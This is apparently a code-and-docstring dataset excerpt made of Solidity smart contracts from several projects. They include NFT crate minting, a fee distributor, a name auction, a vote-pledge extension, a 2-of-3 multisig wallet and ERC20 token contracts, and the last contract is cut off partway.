* Burn some keys in order to mint 2020 season crates.
* @dev Reverts if `quantity` is zero.
* @dev Reverts if `crateTier` is not supported.
* @dev Reverts if the transfer of the crate key to this contract fails (missing approval or insufficient balance).
* @dev Reverts if this contract is not owner of the `crateTier`-related contract.
* @dev Reverts if this contract is not minter of the DeltaTimeInventory contract.
* @param crateTier The tier identifier for the crates to open.
* @param quantity The number of crates to open.
* @param seed The seed used for the metadata RNG.
*/
function _openCrates(uint256 crateTier, uint256 quantity, uint256 seed) internal {
require(quantity != 0, "Crates: zero quantity");
IF1DTBurnableCrateKey crateKey = _getCrateKey(crateTier);
address sender = _msgSender();
uint256 amount = quantity * 1000000000000000000;
crateKey.transferFrom(sender, address(this), amount);
crateKey.burn(amount);
bytes32[] memory uris = new bytes32[](5);
uint256[] memory values = new uint256[](5);
address[] memory to = new address[](5);
for (uint256 i; i != 5; ++i) {
values[i] = 1;
to[i] = sender;
}
uint256 counter_ = counter;
for (uint256 i; i != quantity; ++i) {
if (i != 0) {
seed = uint256(keccak256(abi.encode(seed)));
}
uint256[] memory tokens = seed.generateCrate(crateTier, counter_);
INVENTORY.batchMint(to, tokens, uris, values, false);
counter_ += 5;
}
counter = counter_;
}
function _getCrateKey(uint256 crateTier) view internal returns (IF1DTBurnableCrateKey) {
if (crateTier == Crates2020RNGLib.CRATE_TIER_COMMON) {
return CRATE_KEY_COMMON;
} else if (crateTier == Crates2020RNGLib.CRATE_TIER_RARE) {
return CRATE_KEY_RARE;
} else if (crateTier == Crates2020RNGLib.CRATE_TIER_EPIC) {
return CRATE_KEY_EPIC;
} else if (crateTier == Crates2020RNGLib.CRATE_TIER_LEGENDARY) {
return CRATE_KEY_LEGENDARY;
} else {
revert("Crates: wrong crate tier");
}
}
}
|
Burn some keys in order to mint 2020 season crates. Reverts if `quantity` is zero. Reverts if `crateTier` is not supported. Reverts if the transfer of the crate key to this contract fails (missing approval or insufficient balance). Reverts if this contract is not owner of the `crateTier`-related contract. Reverts if this contract is not minter of the DeltaTimeInventory contract. crateTier The tier identifier for the crates to open. quantity The number of crates to open. seed The seed used for the metadata RNG./
|
function _openCrates(uint256 crateTier, uint256 quantity, uint256 seed) internal {
require(quantity != 0, "Crates: zero quantity");
IF1DTBurnableCrateKey crateKey = _getCrateKey(crateTier);
address sender = _msgSender();
uint256 amount = quantity * 1000000000000000000;
crateKey.transferFrom(sender, address(this), amount);
crateKey.burn(amount);
bytes32[] memory uris = new bytes32[](5);
uint256[] memory values = new uint256[](5);
address[] memory to = new address[](5);
for (uint256 i; i != 5; ++i) {
values[i] = 1;
to[i] = sender;
}
uint256 counter_ = counter;
for (uint256 i; i != quantity; ++i) {
if (i != 0) {
seed = uint256(keccak256(abi.encode(seed)));
}
uint256[] memory tokens = seed.generateCrate(crateTier, counter_);
INVENTORY.batchMint(to, tokens, uris, values, false);
counter_ += 5;
}
counter = counter_;
}
| 13,056,320 |
./partial_match/1/0x2A9fdC00D2EA8514f85845C8681FBC629C99B7DB/sources/FeeDistributor.sol
|
/ Mint USDX to all receivers
|
Public function to release the accumulated fee income to the payees.
@dev anyone can call this.
function release() public override nonReentrant {
uint256 income = a.core().availableIncome();
require(income > 0, "income is 0");
require(payees.length > 0, "Payees not configured yet");
lastReleasedAt = now;
for (uint256 i = 0; i < payees.length; i++) {
address payee = payees[i];
_release(income, payee);
}
emit FeeReleased(income, lastReleasedAt);
}
@return array of current payees.
| 4,183,194 |
./full_match/97/0x3A57F9f12928C940308208261e4d92Fa1819C1FB/sources/contracts/3_Ballot.sol
|
Купить имя после аукциона Передача владения имени покупателю
|
function buyName(string memory _name) external {
uint256 tokenId = _nameToTokenId[_name];
require(tokenId != 0, "Name not found");
require(!_tokenToNameInfo[tokenId].isOnAuction, "Name is still on auction");
require(
_tokenToNameInfo[tokenId].auctionEndTime <= block.timestamp,
"Auction is not yet finished"
);
require(keccak256(bytes(_tokenToName[tokenId])) == keccak256(bytes(_name)), "Name does not match");
_transfer(_tokenToNameInfo[tokenId].owner, msg.sender, tokenId);
_tokenToNameInfo[tokenId].isOnAuction = false;
}
| 5,025,589 |
./full_match/1/0x1F9c0288d57B0c1F2d7B2B15Fb91687aB1673a81/sources/contracts/WardenPledge.sol
|
Extends the Pledge duration Extends the Pledge duration & add rewards for that new duration pledgeId ID of the Pledge newEndTimestamp New end of the Pledge maxTotalRewardAmount Maximum added total reward amount allowed to be pulled by this contract maxFeeAmount Maximum fee amount allowed to be pulled by this contract/ To find the Total Votes for the added duration, we fetch the Total Votes for the current endTimestamp (from now to oldEndTimestamp), and the Total Votes for the new endTimestamp (from now to newEndTimestamp). And the Total Votes for the added duration is simply the Total Votes for the new endTimestamp minus the Total Votes for the current endTimestamp. (the subsctraction removes the Total Votes for the common duration between the 2 endTimestamps) Pull all the rewards in this contract And transfer the fees from the Pledge creator to the Chest contract Update the Pledge parameters in storage
|
function extendPledge(
uint256 pledgeId,
uint256 newEndTimestamp,
uint256 maxTotalRewardAmount,
uint256 maxFeeAmount
) external nonReentrant whenNotPaused {
if(pledgeId >= pledges.length) revert Errors.InvalidPledgeID();
address creator = pledgeOwner[pledgeId];
if(msg.sender != creator) revert Errors.NotPledgeCreator();
Pledge storage pledgeParams = pledges[pledgeId];
uint256 oldEndTimestamp = pledgeParams.endTimestamp;
if(pledgeParams.closed) revert Errors.PledgeClosed();
if(oldEndTimestamp <= block.timestamp) revert Errors.ExpiredPledge();
address _rewardToken = pledgeParams.rewardToken;
if(minAmountRewardToken[_rewardToken] == 0) revert Errors.TokenNotWhitelisted();
if(pledgeParams.rewardPerVotePerWeek < minAmountRewardToken[_rewardToken]) revert Errors.RewardPerVoteTooLow();
if(newEndTimestamp == 0) revert Errors.NullEndTimestamp();
if(newEndTimestamp != _getRoundedTimestamp(newEndTimestamp) || newEndTimestamp < oldEndTimestamp) revert Errors.InvalidEndTimestamp();
if((newEndTimestamp - oldEndTimestamp) < MIN_PLEDGE_DURATION) revert Errors.DurationTooShort();
uint256 oldEndTotalRemaingVotes = _getTotalVotesForDuration(pledgeParams.receiver, pledgeParams.targetVotes, oldEndTimestamp);
uint256 totalVotesAddedDuration = _getTotalVotesForDuration(pledgeParams.receiver, pledgeParams.targetVotes, newEndTimestamp) - oldEndTotalRemaingVotes;
uint256 totalRewardAmount = ((pledgeParams.rewardPerVotePerWeek * totalVotesAddedDuration) / WEEK) / UNIT;
uint256 feeAmount = (totalRewardAmount * protocolFeeRatio) / MAX_PCT ;
if(totalRewardAmount == 0 || feeAmount == 0) revert Errors.NullAmount();
if(totalRewardAmount > maxTotalRewardAmount) revert Errors.IncorrectMaxTotalRewardAmount();
if(feeAmount > maxFeeAmount) revert Errors.IncorrectMaxFeeAmount();
IERC20(_rewardToken).safeTransferFrom(creator, address(this), totalRewardAmount);
IERC20(_rewardToken).safeTransferFrom(creator, chestAddress, feeAmount);
pledgeParams.endTimestamp = safe64(newEndTimestamp);
pledgeAvailableRewardAmounts[pledgeId] += totalRewardAmount;
rewardTokenTotalAmount[_rewardToken] += totalRewardAmount;
emit ExtendPledgeDuration(pledgeId, oldEndTimestamp, newEndTimestamp);
}
| 8,350,441 |
./full_match/80001/0x29D9F65B7ca0f498f9a77A5077634D0c1D3AB30A/sources/_marketnode/sigma_contexts/contracts/contexts/abstract/MNContext.sol
|
Returns current version/
|
function getVersion() external view returns (string memory){
return version;
}
| 868,241 |
pragma solidity ^0.4.24;
// A 2/3 multisig contract compatible with Trezor or Ledger-signed messages.
//
// To authorize a spend, two signtures must be provided by 2 of the 3 owners.
// To generate the message to be signed, provide the destination address and
// spend amount (in wei) to the generateMessageToSignmethod.
// The signatures must be provided as the (v, r, s) hex-encoded coordinates.
// The S coordinate must be 0x00 or 0x01 corresponding to 0x1b and 0x1c
// (27 and 28), respectively.
// See the test file for example inputs.
//
// If you use other software than the provided dApp or scripts to sign the
// message, verify that the message shown by the device matches the
// generated message in hex.
//
// WARNING: The generated message is only valid until the next spend
// is executed. After that, a new message will need to be calculated.
//
// ADDITIONAL WARNING: This contract is **NOT** ERC20 compatible.
// Tokens sent to this contract will be lost forever.
//
// ERROR CODES:
//
// 1: Invalid Owner Address. You must provide three distinct addresses.
// None of the provided addresses may be 0x00.
// 2: Invalid Destination. You may not send ETH to this contract's address.
// 3: Insufficient Balance. You have tried to send more ETH that this
// contract currently owns.
// 4: Invalid Signature. The provided signature does not correspond to
// the provided destination, amount, nonce and current contract.
// Did you swap the R and S fields?
// 5: Invalid Signers. The provided signatures are correctly signed, but are
// not signed by the correct addresses. You must provide signatures from
// two of the owner addresses.
//
// Developed by Unchained Capital, Inc.
contract MultiSig2of3 {
// The 3 addresses which control the funds in this contract. The
// owners of 2 of these addresses will need to both sign a message
// allowing the funds in this contract to be spent.
mapping(address => bool) private owners;
// The contract nonce is not accessible to the contract so we
// implement a nonce-like variable for replay protection.
uint256 public spendNonce = 0;
// Contract Versioning
uint256 public unchainedMultisigVersionMajor = 2;
uint256 public unchainedMultisigVersionMinor = 0;
// An event sent when funds are received.
event Funded(uint newBalance);
// An event sent when a spend is triggered to the given address.
event Spent(address to, uint transfer);
// Instantiate a new Multisig 2 of 3 contract owned by the
// three given addresses
constructor(address owner1, address owner2, address owner3) public {
address zeroAddress = 0x0;
require(owner1 != zeroAddress, "1");
require(owner2 != zeroAddress, "1");
require(owner3 != zeroAddress, "1");
require(owner1 != owner2, "1");
require(owner2 != owner3, "1");
require(owner1 != owner3, "1");
owners[owner1] = true;
owners[owner2] = true;
owners[owner3] = true;
}
// The fallback function for this contract.
function() public payable {
emit Funded(address(this).balance);
}
// Generates the message to sign given the output destination address and amount.
// includes this contract's address and a nonce for replay protection.
// One option to independently verify:
// https://leventozturk.com/engineering/sha3/ and select keccak
function generateMessageToSign(
address destination,
uint256 value
)
public view returns (bytes32)
{
require(destination != address(this), "2");
bytes32 message = keccak256(
abi.encodePacked(
spendNonce,
this,
value,
destination
)
);
return message;
}
// Send the given amount of ETH to the given destination using
// the two triplets (v1, r1, s1) and (v2, r2, s2) as signatures.
// s1 and s2 should be 0x00 or 0x01 corresponding to 0x1b and 0x1c respectively.
function spend(
address destination,
uint256 value,
uint8 v1,
bytes32 r1,
bytes32 s1,
uint8 v2,
bytes32 r2,
bytes32 s2
)
public
{
// This require is handled by generateMessageToSign()
// require(destination != address(this));
require(address(this).balance >= value, "3");
require(
_validSignature(
destination,
value,
v1, r1, s1,
v2, r2, s2
),
"4");
spendNonce = spendNonce + 1;
destination.transfer(value);
emit Spent(destination, value);
}
// Confirm that the two signature triplets (v1, r1, s1) and (v2, r2, s2)
// both authorize a spend of this contract's funds to the given
// destination address.
function _validSignature(
address destination,
uint256 value,
uint8 v1, bytes32 r1, bytes32 s1,
uint8 v2, bytes32 r2, bytes32 s2
)
private view returns (bool)
{
bytes32 message = _messageToRecover(destination, value);
address addr1 = ecrecover(
message,
v1+27, r1, s1
);
address addr2 = ecrecover(
message,
v2+27, r2, s2
);
require(_distinctOwners(addr1, addr2), "5");
return true;
}
// Generate the the unsigned message (in bytes32) that each owner's
// wallet would have signed for the given destination and amount.
//
// The generated message from generateMessageToSign is converted to
// ascii when signed by a trezor.
//
// The required signing prefix, the length of this
// unsigned message, and the unsigned ascii message itself are
// then concatenated and hashed with keccak256.
function _messageToRecover(
address destination,
uint256 value
)
private view returns (bytes32)
{
bytes32 hashedUnsignedMessage = generateMessageToSign(
destination,
value
);
bytes memory unsignedMessageBytes = _hashToAscii(
hashedUnsignedMessage
);
bytes memory prefix = "\x19Ethereum Signed Message:\n64";
return keccak256(abi.encodePacked(prefix,unsignedMessageBytes));
}
// Confirm the pair of addresses as two distinct owners of this contract.
function _distinctOwners(
address addr1,
address addr2
)
private view returns (bool)
{
// Check that both addresses are different
require(addr1 != addr2, "5");
// Check that both addresses are owners
require(owners[addr1], "5");
require(owners[addr2], "5");
return true;
}
// Construct the byte representation of the ascii-encoded
// hashed message written in hex.
function _hashToAscii(bytes32 hash) private pure returns (bytes) {
bytes memory s = new bytes(64);
for (uint i = 0; i < 32; i++) {
byte b = hash[i];
byte hi = byte(uint8(b) / 16);
byte lo = byte(uint8(b) - 16 * uint8(hi));
s[2*i] = _char(hi);
s[2*i+1] = _char(lo);
}
return s;
}
// Convert from byte to ASCII of 0-f
// http://www.unicode.org/charts/PDF/U0000.pdf
function _char(byte b) private pure returns (byte c) {
if (b < 10) {
return byte(uint8(b) + 0x30);
} else {
return byte(uint8(b) + 0x57);
}
}
}
|
Generates the message to sign given the output destination address and amount. includes this contract's address and a nonce for replay protection. One option to independently verify: https:leventozturk.com/engineering/sha3/ and select keccak
|
function generateMessageToSign(
address destination,
uint256 value
)
public view returns (bytes32)
{
require(destination != address(this), "2");
bytes32 message = keccak256(
abi.encodePacked(
spendNonce,
this,
value,
destination
)
);
return message;
}
| 899,174 |
pragma solidity ^0.4.23;
// File: node_modules\zeppelin-solidity\contracts\math\SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: node_modules\zeppelin-solidity\contracts\ownership\Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
// File: node_modules\zeppelin-solidity\contracts\token\ERC20\ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: node_modules\zeppelin-solidity\contracts\token\ERC20\BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: node_modules\zeppelin-solidity\contracts\token\ERC20\ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: node_modules\zeppelin-solidity\contracts\token\ERC20\StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: node_modules\zeppelin-solidity\contracts\token\ERC20\MintableToken.sol
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
// File: node_modules\zeppelin-solidity\contracts\lifecycle\Pausable.sol
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
// File: node_modules\zeppelin-solidity\contracts\token\ERC20\PausableToken.sol
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
// File: contracts\SAIToken.sol
// SAI Token is a first token of TokenStars platform
// Copyright (c) 2018 TokenStars
// Made by Maggie Samoyed
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
// The above copyright notice and this permission notice shall be included in all
// copies or substantial portions of the Software.
// THE SOFTWARE IS PROVIDED "Sophon Capital", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
// SOFTWARE.
pragma solidity ^0.4.17;
contract SAIToken is MintableToken, PausableToken{
// ERC20 constants
string public name="Sophon Capital Token";
string public symbol="SAIT";
string public standard="ERC20";
uint8 public decimals=18;
/*Publish Constants*/
uint256 public totalSupply=0;
uint256 public INITIAL_SUPPLY = 10*(10**8)*(10**18);
uint256 public ONE_PERCENT = INITIAL_SUPPLY/100;
uint256 public TOKEN_SALE = 30 * ONE_PERCENT;//Directed distribution
uint256 public COMMUNITY_RESERVE = 10 * ONE_PERCENT;//Community operation
uint256 public TEAM_RESERVE = 30 * ONE_PERCENT;//Team motivation
uint256 public FOUNDATION_RESERVE = 30 * ONE_PERCENT;//Foundation development standby
/*Issuing Address Constants*/
address public salesTokenHolder;
address public communityTokenHolder;
address public teamTokenHolder;
address public foundationTokenHolder;
/* Freeze Account*/
mapping(address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
using SafeMath for uint256;
/*Here is the constructor function that is executed when the instance is created*/
function SAIToken(address _communityAdd, address _teamAdd, address _foundationAdd) public{
balances[_communityAdd] = balances[_communityAdd].add(COMMUNITY_RESERVE);
totalSupply = totalSupply.add(COMMUNITY_RESERVE);
emit Transfer(0x0, _communityAdd, COMMUNITY_RESERVE);
communityTokenHolder = _communityAdd;
balances[_teamAdd] = balances[_teamAdd].add(TEAM_RESERVE);
totalSupply = totalSupply.add(TEAM_RESERVE);
emit Transfer(0x0, _teamAdd, TEAM_RESERVE);
teamTokenHolder = _teamAdd;
balances[_foundationAdd] = balances[_foundationAdd].add(FOUNDATION_RESERVE);
totalSupply = totalSupply.add(FOUNDATION_RESERVE);
emit Transfer(0x0, _foundationAdd, FOUNDATION_RESERVE);
foundationTokenHolder = _foundationAdd;
}
/**
* @dev mint required amount of token
* @param _investor address of investor
* @param _value token amount corresponding to investor
*/
function mint(address _investor, uint256 _value) onlyOwner whenNotPaused returns (bool success){
require(_value > 0);
require(totalSupply.add(_value) <= INITIAL_SUPPLY);
balances[_investor] = balances[_investor].add(_value);
totalSupply = totalSupply.add(_value);
emit Transfer(0x0, _investor, _value);
return true;
}
/**
* @dev Function to freeze Account
* @param target The address that will freezed.
* @param freeze Is it frozen.
*/
function freezeAccount(address target, bool freeze) onlyOwner {
frozenAccount[target]=freeze;
emit FrozenFunds(target,freeze);
}
/**
* @dev transfer token for a specified address if transfer is open
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) returns (bool) {
require(!frozenAccount[msg.sender]);
return super.transfer(_to, _value);
}
}
|
Publish Constants/Issuing Address Constants/ Freeze Account/Here is the constructor function that is executed when the instance is created/
|
function SAIToken(address _communityAdd, address _teamAdd, address _foundationAdd) public{
balances[_communityAdd] = balances[_communityAdd].add(COMMUNITY_RESERVE);
totalSupply = totalSupply.add(COMMUNITY_RESERVE);
emit Transfer(0x0, _communityAdd, COMMUNITY_RESERVE);
communityTokenHolder = _communityAdd;
balances[_teamAdd] = balances[_teamAdd].add(TEAM_RESERVE);
totalSupply = totalSupply.add(TEAM_RESERVE);
emit Transfer(0x0, _teamAdd, TEAM_RESERVE);
teamTokenHolder = _teamAdd;
balances[_foundationAdd] = balances[_foundationAdd].add(FOUNDATION_RESERVE);
totalSupply = totalSupply.add(FOUNDATION_RESERVE);
emit Transfer(0x0, _foundationAdd, FOUNDATION_RESERVE);
foundationTokenHolder = _foundationAdd;
}
| 5,466,266 |
./partial_match/42/0x242A5588F70A10d78ae7bBD7582e2fe3a1027d30/sources/UberHausMinion.sol
|
No calls to zero address allows us to check that proxy submitted the proposal without getting the proposal struct from parent moloch
|
function proposeAction(
address targetDao,
address actionTo,
address token,
uint256 actionValue,
bytes calldata actionData,
string calldata details
) external memberOnly returns (uint256) {
require(actionTo != address(0), "invalid actionTo");
uint256 proposalId = IMOLOCH(dao).submitProposal(
address(this),
0,
0,
0,
token,
0,
token,
details
);
Action memory action = Action({
dao: targetDao,
value: actionValue,
token: token,
to: actionTo,
proposer: msg.sender,
executed: false,
data: actionData
});
actions[proposalId] = action;
emit ProposeAction(proposalId, msg.sender);
return proposalId;
}
| 9,074,072 |
./partial_match/1/0x000000F20032b9e171844B00EA507E11960BD94a/sources/lib/solady/src/auth/Ownable.sol
|
Throws if the sender is not the owner. @solidity memory-safe-assembly If the caller is not the stored owner, revert.
|
function _checkOwner() internal view virtual {
assembly {
if iszero(eq(caller(), sload(not(_OWNER_SLOT_NOT)))) {
revert(0x1c, 0x04)
}
}
}
| 2,652,947 |
./full_match/44787/0x945D9fD3B8aa36277335faCF98781Fc51117A2FC/sources/contracts/UBEConfiguratorAlfajoresFlattened.sol
|
IInitializableDebtToken Interface for the initialize function common between debt tokens Aave/
|
interface IInitializableDebtToken {
event Initialized(
address indexed underlyingAsset,
address indexed pool,
address incentivesController,
uint8 debtTokenDecimals,
string debtTokenName,
string debtTokenSymbol,
bytes params
);
function initialize(
ILendingPool pool,
address underlyingAsset,
IAaveIncentivesController incentivesController,
uint8 debtTokenDecimals,
string memory debtTokenName,
string memory debtTokenSymbol,
bytes calldata params
) external;
}
| 13,260,221 |
/**
* @title SwissRealCoin token
* MiniMe Token with a subset of features. ERC20 Compliant
* @version 1.0
* @author Validity Labs AG <[email protected]>
*/
pragma solidity ^0.4.19;
import 'zeppelin-solidity/contracts/math/SafeMath.sol';
contract Controlled {
address public controller;
/// @notice The address of the controller is the only address that can call a function with this modifier
modifier onlyController {
require(msg.sender == controller);
_;
}
/**
* @dev constructor
*/
function Controlled() public {
controller = msg.sender;
}
/**
* @dev notice Changes the controller of the contract
* @param _newController The new controller of the contract
*/
function changeController(address _newController) public onlyController {
controller = _newController;
}
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public;
}
contract SrcToken is Controlled {
using SafeMath for uint256;
string public constant name = "SwissRealCoin";
string public constant symbol = "SRC";
uint8 public constant decimals = 18;
string public version = "MMT_0.2"; // an arbitrary versioning scheme - MiniMeToken
/**
* @dev `Checkpoint` is the structure that attaches a block number to a
* given value, the block number attached is the one that last changed the value
*/
struct Checkpoint {
// `fromBlock` is the block number that the value was generatedsuper.mint(_to, _amount); from
uint128 fromBlock;
// `value` is the amount of tokens at a specific block number
uint128 value;
}
// Tracks the history of the `totalSupply` of the token
Checkpoint[] totalSupplyHistory;
// `creationBlock` is the block number that the Clone Token was created
uint256 public creationBlock;
// `balances` is the map that tracks the balance of each address, in this
// contract when the balance changes the block number that the change
// occurred is also included in the map
mapping (address => Checkpoint[]) balances;
// `allowed` tracks any extra transfer rights as in all ERC20 tokens
mapping (address => mapping (address => uint256)) allowed;
